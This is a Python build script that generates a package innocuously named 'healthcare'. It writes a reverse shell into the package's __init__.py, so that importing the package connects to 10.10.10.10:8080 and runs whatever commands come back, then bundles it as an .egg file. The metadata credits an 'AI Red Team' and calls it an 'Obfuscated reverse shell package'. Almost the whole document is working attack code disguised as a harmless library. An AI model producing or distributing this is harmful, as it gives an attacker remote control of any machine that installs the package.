import os import shutil from setuptools import setup, find_packages # 1) Create package directory os.makedirs("healthcare/healthcare", exist_ok=True) # 2) Write reverse shell payload into __init__.py payload = """ import socket import subprocess ip = \"10.10.10.10\" p = 8080 s = socket.socket() s.connect((ip, p)) while True: c = s.recv(1024).decode() o = subprocess.getoutput(c) s.sendall(o.encode()) """ with open("healthcare/healthcare/__init__.py", "w") as f: f.write(payload) # 3) Create setup.py setup_py = """ from setuptools import setup, find_packages setup( name='healthcare', version='0.1', packages=find_packages(), author='AI Red Team', description='Obfuscated reverse shell package', ) """ with open("healthcare/setup.py", "w") as f: f.write(setup_py) # 4) Build the .egg file os.system("cd healthcare && python setup.py bdist_egg") # 5) Move the .egg to the root dist_dir = "healthcare/dist" for filename in os.listdir(dist_dir): if filename.endswith(".egg"): shutil.move(os.path.join(dist_dir, filename), filename) print("✅ .egg file created and moved to current directory.")